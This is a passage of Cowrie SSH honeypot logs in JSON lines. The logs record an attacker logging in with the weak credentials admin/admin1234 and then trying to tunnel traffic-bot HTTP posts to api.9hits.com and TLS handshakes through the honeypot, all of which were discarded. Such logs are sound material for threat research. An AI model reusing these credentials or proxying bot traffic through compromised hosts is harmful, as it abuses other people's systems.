openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:12.772522Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.007026Z","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.013834Z","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.359575Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JFhLRFJfXldoNDYqaVcoag%3D%3DaXSc1Am5W9XeH7ZgfR0upyg9CXYo%2FAU0hZW1%2BJQkDmG9aIoX5R7oFArV9MvEcT8V1otetzhyqtU2ASg6noNo0kE2LxSWjTd7lvwgD5eeP4w3RZeAAjOkR5MJ20nAE8gR2eLRTaERU9Z5cw1X%2FKVfWWtx6AmUMJOrmzUXgwJrfclP1IUQLsq5n5lGU6q9Yx4NfWNTOaW%2Fp%2FNPPMrAkBOLlIHbxcM%2BGFRxpE2whTTdlyJq%2BYKnBcjUoHKToe3nsv6n9bI0B%2BM092zzDRkXo9HnaSFi7cdI9luTYrPAwbZfQNFIg7UttAW1AeUjQ6YS1ySNgC%2BbK1w6x%2FnARsVl2Y%2BPy6GFX9yUJB6V%2B%2F3J8zTjEp2pEfKPyNU68Y1s7lJ8KwvNqMzBneFXX7GtTjWnwaAnnKvBQX1oxiIVo%2BoXtwedEsDSeufg%2BfursqZhb2JR0rb957abFoFs4TanTxYqeHrnyl7gOzl0HQAAj7QWGIYI74uClOeaAaW7H7bfSM5gvVQA7%2Fm%2BDuk0LHDvh5EbnapAdjmBH7%2FKj%2Bvv8UH1Tn2NKsEizrD5IFV2uRobE7scxy0CJH3Y%2BAMqn8%2BYVjVb8sAllycZbk%2B0KuCs1334ztHQfPe%2FVnO972jyU8XDQIGQpf4COyeAyTJR%2BA9Tunnjo3PgHN%2BT98R35MOvfTXS1UdPP4dGTDBblj1BHRk9NCo6GpXV5baJ809Xedy3qcQ4fxIi2NQf6cYUQ%2BynYi2hsrGU50bZX2M4BgnHNdL04YXHuU%2BqyLCr1SayZ9SuHATIPtZqSfbGFFisWiJS9eTYYom57RakJGK4xsOs96bMPeFqDFwVqxfxTVyrJF9FOp30FyIkB19mGHPQYIpSUJvOaKmmw3mn%2Fjv06b3iJGebUtuBjXnmyZPFGtE4eUJfuBLN8DBoJ6zANSbb5zE%2FYxTxqjpORFuALqTccgt8%2Fu2SrAmXAdnvTQiQGM%2BJPPtAVfQG%2FPOeNRyyIj9H%2B6uklAqLTZbJ%2BiYMlOhJg0BpPKy8kYE39pbEVnwZu7Xd0mZIhKoEU2qmFfBlZiofoOBeRjBa1f0TxDvfisMWHdvRiFxs%2Bpo12tPw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JFhLRFJfXldoNDYqaVcoag%3D%3DaXSc1Am5W9XeH7ZgfR0upyg9CXYo%2FAU0hZW1%2BJQkDmG9aIoX5R7oFArV9MvEcT8V1otetzhyqtU2ASg6noNo0kE2LxSWjTd7lvwgD5eeP4w3RZeAAjOkR5MJ20nAE8gR2eLRTaERU9Z5cw1X%2FKVfWWtx6AmUMJOrmzUXgwJrfclP1IUQLsq5n5lGU6q9Yx4NfWNTOaW%2Fp%2FNPPMrAkBOLlIHbxcM%2BGFRxpE2whTTdlyJq%2BYKnBcjUoHKToe3nsv6n9bI0B%2BM092zzDRkXo9HnaSFi7cdI9luTYrPAwbZfQNFIg7UttAW1AeUjQ6YS1ySNgC%2BbK1w6x%2FnARsVl2Y%2BPy6GFX9yUJB6V%2B%2F3J8zTjEp2pEfKPyNU68Y1s7lJ8KwvNqMzBneFXX7GtTjWnwaAnnKvBQX1oxiIVo%2BoXtwedEsDSeufg%2BfursqZhb2JR0rb957abFoFs4TanTxYqeHrnyl7gOzl0HQAAj7QWGIYI74uClOeaAaW7H7bfSM5gvVQA7%2Fm%2BDuk0LHDvh5EbnapAdjmBH7%2FKj%2Bvv8UH1Tn2NKsEizrD5IFV2uRobE7scxy0CJH3Y%2BAMqn8%2BYVjVb8sAllycZbk%2B0KuCs1334ztHQfPe%2FVnO972jyU8XDQIGQpf4COyeAyTJR%2BA9Tunnjo3PgHN%2BT98R35MOvfTXS1UdPP4dGTDBblj1BHRk9NCo6GpXV5baJ809Xedy3qcQ4fxIi2NQf6cYUQ%2BynYi2hsrGU50bZX2M4BgnHNdL04YXHuU%2BqyLCr1SayZ9SuHATIPtZqSfbGFFisWiJS9eTYYom57RakJGK4xsOs96bMPeFqDFwVqxfxTVyrJF9FOp30FyIkB19mGHPQYIpSUJvOaKmmw3mn%2Fjv06b3iJGebUtuBjXnmyZPFGtE4eUJfuBLN8DBoJ6zANSbb5zE%2FYxTxqjpORFuALqTccgt8%2Fu2SrAmXAdnvTQiQGM%2BJPPtAVfQG%2FPOeNRyyIj9H%2B6uklAqLTZbJ%2BiYMlOhJg0BpPKy8kYE39pbEVnwZu7Xd0mZIhKoEU2qmFfBlZiofoOBeRjBa1f0TxDvfisMWHdvRiFxs%2Bpo12tPw'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.363291Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.369350Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03n\\x8c\\xf7\\xd4\\x9d5\\x98`DPB\\xa6\\x91\\x033\\xc8\\xc7\\xe5-?\\x82\\xa2\\xe9\\x90h\\x04\\xd6\\x0f+\\xeb\\x1c\\xbe \\xee,\\x00\\x1a\\x14\\x00c:\\x1c\\xa7\\x87!$7\\xd5.\\x85\\x16\\xa8\\xdc=,\\x9d\\xab\\x9e\\xe8\\xd9\\xe5\\xa4\\x104\\xd4\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0j`\\xac#\\xab\\xb2\\x9fWA\\x9b2QH<|\\xfc\\xcar\\xf1*\\xfd\\x89\\x93\\x03#\\x14\\xf2F\\x85\\x17(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03n\\x8c\\xf7\\xd4\\x9d5\\x98`DPB\\xa6\\x91\\x033\\xc8\\xc7\\xe5-?\\x82\\xa2\\xe9\\x90h\\x04\\xd6\\x0f+\\xeb\\x1c\\xbe \\xee,\\x00\\x1a\\x14\\x00c:\\x1c\\xa7\\x87!$7\\xd5.\\x85\\x16\\xa8\\xdc=,\\x9d\\xab\\x9e\\xe8\\xd9\\xe5\\xa4\\x104\\xd4\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0j`\\xac#\\xab\\xb2\\x9fWA\\x9b2QH<|\\xfc\\xcar\\xf1*\\xfd\\x89\\x93\\x03#\\x14\\xf2F\\x85\\x17(\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.371701Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.511910Z","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.568545Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@ X`\\xf9m3\\x11D\\xb8\\x12`m\\x9f\\xa7\\x0cZ\\xd0\\x1bJ=^\\xc6N\\xb2*\\xfeKN\\x90Qz \\xee\\xacS4X\\xaf`s\\x85\\xe4\\xc0\\x81\\x82\\x19\\xd7I\\xb8}\\xa9%\\xfbD\\x84A\\x1c\\xcbW\\xf5\\xf0\\xf5&\\r\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13/\\x1e\\x87\\n\\x91\\xc7O\\xb5$\\xb1\\xf4K\\xa3@\\x1cq\\xc5\\xe4gx\\xd8\\xa8\\x87\\\\\\xe2\\x9a+\\xb71]E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@ X`\\xf9m3\\x11D\\xb8\\x12`m\\x9f\\xa7\\x0cZ\\xd0\\x1bJ=^\\xc6N\\xb2*\\xfeKN\\x90Qz \\xee\\xacS4X\\xaf`s\\x85\\xe4\\xc0\\x81\\x82\\x19\\xd7I\\xb8}\\xa9%\\xfbD\\x84A\\x1c\\xcbW\\xf5\\xf0\\xf5&\\r\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13/\\x1e\\x87\\n\\x91\\xc7O\\xb5$\\xb1\\xf4K\\xa3@\\x1cq\\xc5\\xe4gx\\xd8\\xa8\\x87\\\\\\xe2\\x9a+\\xb71]E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.571784Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:13.680313Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:19.642400Z","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:19.676633Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; HMSCore 5.0.1.313) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36 EdgA/90.0.818.41\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGJTJVE3cEpRSCVWKjlOXg%3D%3D4XZjVZnwaIW6rOf%2FRBIkilKYsMuSrb%2B4Q43Pfj4FDOveapWX4wutPwyWkaLmpMf6L%2FGd1Grvgd65zjubEqgZ4M0yOPJ2qx4akXvvBUcrTPIe6q%2BKCc06lej93GethXLJ6qgnYHBdFdU6HDQR90vYqAyr2AfUuaRHK3XEd1jNUSHdds3w%2FC41e0JN8Dlr9PHOweb7VL%2Fslvm8LJQXujSiOva3PkXRRqdrnJxTHD%2BVDJj%2BoYADOX26dbex0wbh1z9GWSDrc2hRnq%2F%2BY1A0s8nvSRyBtSYG5tA7xUiafMuid6HfDmD3hpC2gcew3z9lnDvpwJMpLHj2P2UPT3H1hItKwkQ%2BqWOKry12JWbEcnF0ubb8%2FImPKf6G8FeS47ZaRdhk2MKQtXX3yi5pynLiRsH8NhTzy%2F7Wty6ZpU%2BumifWecE8HeW%2BNEfulI2%2FBLD4lzoRkKuqBRdsDA8Ue1a9gD%2FfLcL2vof8%2ByC1EQCZly%2FdbDgR%2BQktbLynV1%2B6AGsb5gW4cTX%2FtOZRy2%2BgUVHsUIfD3yXGFNBu3nqDIuMl0%2Bw10F8kcQ4z3NNFp7%2B7AyzkHQLvawaK67X9gV778b3ED7zQh7tfU4057mzydiinDdSNCtM7Prb34NiPGo5XgxXPFp6RIsIeL31fJp1jJZsUNb3ARny9hmnaPValUtBg5BhZnpbs21%2FFjSvkGgc9X9ntn7I%2Fm6FotgyRzjPCEl%2F0ON7ilYoYcViDoSAStgDI%2BR%2FrgGA%2FzeLPzgpEn7KF2naVfGjIOQbVq0tX5%2BnuTUUMCNuzXsI3nNeLpn2542jH8kYnnaP8D8ijM%2FIWmX%2FTV24dImm%2BHYnt%2BtT0g4evTL5YlESm2ZlcF6A4Y9F%2FlwV2DaIb%2BymvlrCcX99jlFuQny5qtGEHb1q53HtaZaaOqUegWHolSkvfHwnX%2BbAgEWMYKmxbYrtVhld0FhwrOFIdTSH%2F9RARXp%2FrFydMRw%2FH3leHzt6y7lqhZEHRguF1PZEXaZMjPAyQx4IgRDWSkAz1Ioxk53HgVuDFFhwKbog4pmlIaNRj3ydHzHvoweq1LMg6lflmlRvpL8Q5GSJ57ehq1g%2FZt4Wb'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; HMSCore 5.0.1.313) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36 EdgA/90.0.818.41\\r\\nOrigin: 